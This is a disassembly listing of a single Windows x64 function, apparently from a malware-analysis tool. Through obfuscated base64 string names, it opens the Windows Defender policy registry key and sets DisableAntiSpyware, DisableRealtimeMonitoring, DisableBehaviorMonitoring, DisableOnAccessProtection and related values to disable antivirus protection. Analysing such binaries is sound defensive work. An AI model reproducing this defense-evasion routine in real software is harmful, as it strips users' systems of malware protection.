Function at 0x140012330
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
movaps xmmword [rsp + 0xb0], xmm6
mov rax, qword [0x1400b1100]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov dword [rbp + 0x37], 1
call fcn.14000b150
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x3c
lea rdx, str.U09GVFdBUkVcUG9saWNpZXNcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXI
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
mov rdx, rax
lea rax, [rbp + 0x2f]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400123ff
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400123fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012ad0
call fcn.14003a900
movdqa xmm6, xmmword [0x1400a5420]
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x14001244b
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012446
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012ad6
call fcn.14003a900
test ebx, ebx
jne 0x140012aa5
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x18
lea rdx, str.RGlzYWJsZUFudGlTcHl3YXJl
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
mov dword [rsp + 0x28], 4
lea rcx, [rbp + 0x37]
mov qword [rsp + 0x20], rcx
mov r9d, 4
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x2f]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400124f2
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400124ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012adc
call fcn.14003a900
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140012536
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012531
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012ae2
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x1c
lea rdx, str.UmVhbC1UaW1lIFByb3RlY3Rpb24
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
xor edx, edx
mov qword [rsp + 0x40], rdx
lea rcx, [rbp + 0x27]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edx
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x2f]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400125e2
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400125dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012ae8
call fcn.14003a900
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140012626
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012621
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012aee
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x24
lea rdx, str.RGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZw
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
mov dword [rsp + 0x28], 4
lea rcx, [rbp + 0x37]
mov qword [rsp + 0x20], rcx
mov r9d, 4
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400126c5
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400126c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012af4
call fcn.14003a900
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140012709
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012704
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012afa
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x24
lea rdx, str.RGlzYWJsZUJlaGF2aW9yTW9uaXRvcmluZw
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
mov dword [rsp + 0x28], 4
lea rcx, [rbp + 0x37]
mov qword [rsp + 0x20], rcx
mov r9d, 4
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400127a8
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400127a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012b00
call fcn.14003a900
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x1400127ec
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400127e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012b06
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x24
lea rdx, str.RGlzYWJsZVNjYW5PblJlYWx0aW1lRW5hYmxl
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
mov dword [rsp + 0x28], 4
lea rcx, [rbp + 0x37]
mov qword [rsp + 0x20], rcx
mov r9d, 4
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x14001288b
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012886
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012b0c
call fcn.14003a900
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x1400128cf
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400128ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012b12
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x24
lea rdx, str.RGlzYWJsZU9uQWNjZXNzUHJvdGVjdGlvbg
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
mov dword [rsp + 0x28], 4
lea rcx, [rbp + 0x37]
mov qword [rsp + 0x20], rcx
mov r9d, 4
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x14001296e
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012b18
call fcn.14003a900
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x1400129b2
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400129ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012b1e
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x1c
lea rdx, str.RGlzYWJsZUlPQVZQcm90ZWN0aW9u
lea rcx, [rbp - 0x19]
call fcn.140007470
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 7]
call fcn.14000f7c0
nop
mov rcx, rax
call fcn.140012290
mov dword [rsp + 0x28], 4
lea rcx, [rbp + 0x37]
mov qword [rsp + 0x20], rcx
mov r9d, 4
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x140012a51
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012a4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012b24
call fcn.14003a900
movdqu xmmword [rbp + 0x17], xmm6
mov byte [rbp + 7], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140012a91
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012a8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012aca
call fcn.14003a900
mov rcx, qword [rbp + 0x2f]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14003a8e0
mov rbx, qword [rsp + 0xd0]
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc0
pop rbp
ret
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
nop
call fcn.140043e18
int3